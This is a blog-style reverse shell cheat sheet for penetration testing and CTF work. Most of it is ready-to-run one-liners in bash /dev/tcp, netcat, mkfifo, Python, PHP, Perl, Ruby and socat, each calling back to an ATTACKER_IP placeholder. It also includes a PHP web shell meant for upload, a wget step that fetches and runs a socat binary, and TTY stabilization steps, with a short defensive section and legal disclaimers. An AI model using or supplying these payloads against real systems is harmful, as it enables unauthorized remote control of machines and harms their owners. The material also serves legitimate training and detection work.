Reverse shells are a standard technique in authorized penetration testing and CTF environments. The one-liners below require explicit written authorization before use on real systems. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent legislation worldwide.
Photo by luis gomes on Pexels
A reverse shell makes the target machine connect outbound to a listener on the attacker’s machine. Start with bash -i >& /dev/tcp/IP/PORT 0>&1 on Linux targets with bash. If that fails, try Python 3, then mkfifo, then socat. After getting a shell, always upgrade to a TTY with the python3 pty + stty raw -echo sequence for full interactivity.
In CTF environments, getting a reverse shell is usually step two or three in the attack chain — after finding an exploitable service and after triggering the exploit. The challenge is that you don’t always know what’s installed on the target: bash might not support /dev/tcp, Python 2 might be the only Python, or netcat might be the OpenBSD variant without -e. Having a ranked list of fallback options is how you get a shell in the first three minutes rather than the first twenty.
Setting Up Your Listener
Before executing any reverse shell on the target, start a listener on your machine. The listener waits for the inbound connection:
nc -lvnp PORT
rlwrap nc -lvnp PORT
socat file:`tty`,raw,echo=0 tcp-listen:PORT
Confirm your HackTheBox VPN IP before running the shell command on the target:
$ get your attacker IPip addr show tun0 | grep "inet " | awk '{print $2}' | cut -d'/' -f1
bash /dev/tcp
Most reliable on systems with bash 4.0+. The /dev/tcp pseudo-device is built into bash — no external binary needed:
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
Works when: bash is installed (almost all Linux), /dev/tcp not disabled in compile-time options (rarely disabled)
Alternative syntax (URL-encoded safe, useful in web exploits):
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'
0<&196;exec 196<>/dev/tcp/ATTACKER_IP/PORT; sh <&196 >&196 2>&196
Netcat Variants
The -e flag executes a program after connection. Works with traditional netcat and nmap’s ncat — does NOT work with OpenBSD netcat (most default Debian/Ubuntu installs):
nc -e /bin/bash ATTACKER_IP PORT
ncat -e /bin/bash ATTACKER_IP PORT
Works when: target has traditional netcat (not OpenBSD variant). Check with: nc --help 2>&1 | grep -i "\-e"
When the target has OpenBSD netcat (no -e), use two connections — one for stdin, one for stdout/stderr. Requires two listeners or the mkfifo approach (see below):
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP PORT >/tmp/f
Works when: any netcat version is installed. This is effectively the mkfifo approach — see that section for explanation.
Python 3 and Python 2
Reliable fallback when bash /dev/tcp doesn’t work. Python 3 is installed on nearly all modern Linux distributions:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Works when: Python 3 is installed. The pty.spawn inclusion gives a slightly better shell without a separate TTY upgrade step (though full stabilization is still needed).
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Works when: Python 2 is installed (older machines, pre-2020 systems). Try which python python2 python3 to see what’s available.
PHP
Most useful when exploiting a PHP web application (file upload, LFI, code injection). The exec() variant:
php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
proc_open variant (more compatible):
php -r '$sock=fsockopen("ATTACKER_IP",PORT);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'
As a web shell file (upload to target’s web directory):
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"); ?>
Works when: PHP is installed and exec()/proc_open() are not disabled in php.ini. Check disabled functions with: php -r 'echo ini_get("disable_functions");'
Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Works when: Perl is installed. Common on older Linux systems and wherever Perl scripts are part of the application stack. Try which perl.
Ruby
ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Works when: Ruby is installed. Less common than Python but useful on RoR app servers or systems where Ruby is the scripting language of choice.
mkfifo Named Pipe Shell
Creates a named pipe (FIFO) to route shell I/O through netcat. The most universal approach — works with OpenBSD netcat, busybox nc, and any other netcat variant:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP PORT >/tmp/f
How it works:
mkfifo /tmp/f— creates a named pipe at /tmp/fcat /tmp/f— reads commands from the pipe (blocks until something writes)| /bin/sh -i 2>&1— executes them in a shell, stdout+stderr combined| nc ATTACKER_IP PORT >/tmp/f— sends output over the network, receives input back into the pipe
Works when: mkfifo, cat, sh, and any nc are available. These are in busybox — this usually works even on minimal embedded systems.
socat — Full TTY Shell Without Upgrade
socat can create a fully interactive PTY shell with no post-connection upgrade needed. Requires socat on the target:
Attacker listener:
socat file:`tty`,raw,echo=0 tcp-listen:PORT
Target (reverse shell):
socat tcp:ATTACKER_IP:PORT exec:'bash -li',pty,stderr,setsid,sigint,sane
Upload socat to a target that doesn’t have it (precompiled binary approach):
# Attacker: host a static socat binary
python3 -m http.server 80
# Target: download and run it
wget http://ATTACKER_IP/socat -O /tmp/socat
chmod +x /tmp/socat
/tmp/socat tcp:ATTACKER_IP:PORT exec:'bash -li',pty,stderr,setsid,sigint,sane
Works when: socat is installed on target, or you can upload a static binary. Produces the best shell quality — full TTY, Ctrl+C works, resizeable.
TTY Upgrade — Shell Stabilization
A raw reverse shell has no TTY: Ctrl+C kills the session, arrow keys print escape codes, tab completion doesn’t work, and interactive programs (vim, su, passwd) fail. The TTY upgrade fixes this.
Spawn a PTY on the target (inside the raw shell):
python3 -c 'import pty; pty.spawn("/bin/bash")'
If Python 3 isn’t available, try:
python -c 'import pty; pty.spawn("/bin/bash")'
# or
script -qc /bin/bash /dev/null
# or
/usr/bin/script -qc /bin/bash /dev/null
Background the shell and configure local terminal:
# Press: Ctrl+Z
# Back on your local machine:
stty raw -echo
fg
Press Enter twice after fg to get the prompt back. The shell is now in raw mode — keystrokes go directly to the remote shell.
Fix terminal environment variables (inside the shell, after fg):
export TERM=xterm
# Check your local terminal size
# Run this on your LOCAL machine first:
stty size
# Returns: 38 160 (rows cols)
# Then on the remote shell:
stty rows 38 cols 160
Now Ctrl+C sends interrupt to the remote process, arrow keys work, tab completes, and interactive programs run correctly.
stty raw -echo and lose your terminal input, type stty sane blind (you won’t see what you type) and press Enter — this restores your local terminal settings.rlwrap for Arrow Keys and History
If a full TTY upgrade isn’t possible, rlwrap wraps the netcat listener to add readline support — arrow keys, Ctrl+R history search, and basic tab completion:
rlwrap nc -lvnp PORT
Install on Kali: sudo apt install rlwrap. Not a full TTY replacement — interactive programs still fail — but significantly more usable for initial shell navigation.
Defensive Context
Network egress monitoring: Reverse shells make outbound TCP connections on unusual ports (1337, 4444, 9001 are common CTF/pentest defaults). Network monitoring that alerts on outbound connections to unknown external IPs on non-standard ports, or unusual outbound traffic from internal servers, would catch reverse shell callbacks. The -rate of the connection (a burst of outbound traffic from a web server to a non-business IP) is a behavioral signature.
Process ancestry: Endpoint detection watches process trees. A reverse shell spawned from a web server looks like: apache2 → sh → bash or nginx → python3 → /bin/bash. No legitimate application creates that process lineage. EDR products flag parent-child relationships where a web server spawns a shell.
/dev/tcp: The bash /dev/tcp mechanism uses no external binaries — it’s a bash built-in. This makes it harder to detect via binary-based monitoring (which tracks exec() calls), but network-level monitoring still catches the outbound TCP connection. Some hardened systems disable /dev/tcp at bash compile time; this is rare in practice.
Logging and SIEM: Command history, /var/log/auth.log, and bash_history capture reverse shell commands if they’re run interactively. Audit frameworks like auditd can log all exec() calls, which would capture the Python or perl one-liners. Correlating a web server log entry with a subsequent spawn of /bin/bash in the process list is a standard IR correlation point.
🔍 Things to Consider
The fallback order matters more than any individual shell. On most CTF Linux machines, bash /dev/tcp works. When it doesn’t, Python 3 is almost always there. When Python 3 isn’t there, mkfifo + nc is universal. Socat is rare but produces the best result when available. Worth knowing: the quality of the shell you get depends on what the target has and what it allows — but the TTY upgrade sequence is always the same regardless of how you got in. Getting a shell is step one. Getting a stable, interactive shell is step two, and it’s just as important.
~Cipherceval
Frequently Asked Questions
What is a reverse shell and how does it differ from a bind shell?
A reverse shell has the target machine initiate an outbound connection to the attacker’s listener. A bind shell has the target open a port and wait for the attacker to connect inbound. Reverse shells are preferred because most firewalls allow outbound connections but block unsolicited inbound ones. Bind shells are useful when the attacker can’t receive inbound connections, though they expose an open port on the target.
How do you upgrade a reverse shell to a TTY?
Three steps: (1) Inside the shell, run python3 -c 'import pty; pty.spawn("/bin/bash")'. (2) Press Ctrl+Z to background, then on your local machine run stty raw -echo followed by fg. (3) Set terminal variables: export TERM=xterm and stty rows ROWS cols COLS (use your actual terminal dimensions). After this, Ctrl+C works, arrow keys work, and interactive programs run correctly.
Which reverse shell one-liner should I try first?
On Linux: start with bash -i >& /dev/tcp/IP/PORT 0>&1. If bash /dev/tcp is unavailable, try Python 3. For web contexts (PHP RCE), use the PHP exec() one-liner. If netcat is the only option, use the mkfifo named pipe approach — it works with any nc variant. Check what’s installed first: which bash python3 python perl ruby nc netcat socat
Why doesn’t Ctrl+C work in my reverse shell?
Without a TTY, Ctrl+C signals go to the local netcat listener (killing your session) rather than the remote process. The fix is the TTY upgrade: run python3 -c 'import pty; pty.spawn("/bin/bash")', then Ctrl+Z, then stty raw -echo && fg. After this, Ctrl+C sends the interrupt signal to the remote process.
What is socat and when should I use it for reverse shells?
socat creates a full PTY reverse shell without the Python pty upgrade step. The attacker runs socat file:`tty`,raw,echo=0 tcp-listen:PORT and the target runs socat tcp:IP:PORT exec:'bash -li',pty,stderr,setsid,sigint,sane. This produces the best shell quality immediately. When socat isn’t on the target, you can upload a static binary and run it. See the socat section above for the full one-liner.
Related: once you’ve caught a shell, the natural next step is often privilege escalation via SUID binaries — and before any of this, OPSEC habits worth building so the engagement stays clean.
Stay vigilant, stay curious, and update your stuff.
— Cipherceval / Forgebound Research
Exploit Brokers by Forgebound Research
Disclaimer: The content presented by Exploit Brokers by Forgebound Research is for educational and informational purposes only. Cipherceval is a cybersecurity educator and commentator — not your personal security consultant, legal counsel, or professional advisor. Always consult qualified professionals for decisions affecting your systems and security posture.
Technical Disclaimer: Reverse shell techniques require explicit written authorization before use on real systems. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent legislation worldwide.
Leave a Reply